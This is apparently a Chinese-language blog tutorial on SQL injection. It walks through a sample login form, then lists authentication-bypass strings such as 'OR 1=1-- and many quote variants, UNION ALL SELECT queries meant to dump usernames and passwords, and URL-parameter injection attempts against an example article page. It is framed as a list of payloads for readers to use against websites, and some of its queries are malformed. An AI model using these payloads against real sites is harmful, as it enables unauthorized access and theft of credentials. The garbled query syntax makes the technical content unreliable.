SQL注入
~什么是SQL注入
SQL注入,网站中最大的安全问题之一.那么到底什么是SQL注入?其实也就是注入SQL.现在让我们来挖掘不同级别的SQL漏洞.假设你有一个像这样的登录页面:
Copy code
<html>
<body>
<form action="" method="POST">
Username: <input name="name" type="name">
Password: <input name="password" type="password">
<input type="submit" type="submit" value="Submit">
</form>
</body>
</html>
这里面有一个XSS漏洞,但是不用担心它,没有办法猜出或者破解出密码.所以,我们该怎么办?SQL注入!
最简单的攻击是在用户名和密码那里输入"'".如果没有保护机制,此时你应该得到一个错误信息.如果你得到了,它就是极易受攻击的.可是错误信息毫无价值,除非你知道如何利用它.所以,我会给你一个你可以使用的注入列表,以便在你得到一个单引号的错误信息时使用.
'='
'OR 1=1--
'OR a=a--
'OR'
自从人们增强安全性以后,现在这些注入就很难发挥作用了,但是下面这个列表却是很多人在安全列表里没有注意到的:
'OR''='
'OR"="
'OR'="
'OR '="
'OR "='
'OR ''='
'OR '=''
'OR "=''
'OR ''="
~
现在让我说明UNION ALL SELECT声明,这将选出数据库中的一个表...所显示的内容取决于你所选择的列.
UNION ALL SELECT username,password FROM users
这个查询语句将执行,但是….如果毫无作用呢?
UNION ALL SELECT username,password FROM users WHERE username='OR "='
AND password='OR "='
你可能使用其他字符来替代'OR "='以注入存在的注入点.可是首先考虑一下,你是怎么知道表名的?实际上,你发现了一个SQL漏洞,它给了你错误信息,而错误信息包含了表名.
一旦你发现了漏洞,你就会按照习惯去用类似'OR "='的方法去进行注入,以得到表名.有时候你想从表中查询一些有用的数据,你却不得不选择所有的表,因为你并不知道所要查询的数据在哪个表里.下面的例子中存在20个不同表名的表,你试图查询一个ip的列表:
UNION ALL SELECT
ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip FROM logs
WHERE ip='OR''="
现在你看到这个了吗?(我确信你已经看到了)
http://example.com/index.php?article=34
那将浏览Id为34的文章...让我们用"'"替换34:
http://example.com/index.php?article='
现在,记住我所说的,大多数人都没有意识到'所带来的不安全性,你总是能够尝试不同的注入方法,这里是一些例子:
http://example.com/index.php?article='
http://example.com/index.php?article='='
http://example.com/index.php?article='OR 1=1--
http://example.com/index.php?article='OR a=a--
http://example.com/index.php?article='OR '="
http://example.com/index.php?article='OR "='
http://example.com/index.php?article='OR ''='
http://example.com/index.php?article='OR '=''
http://example.com/index.php?article='OR''='
http://example.com/index.php?article='OR"'='
http://example.com/index.php?article='OR"''='
尽情发挥自己的创造力!

网友评论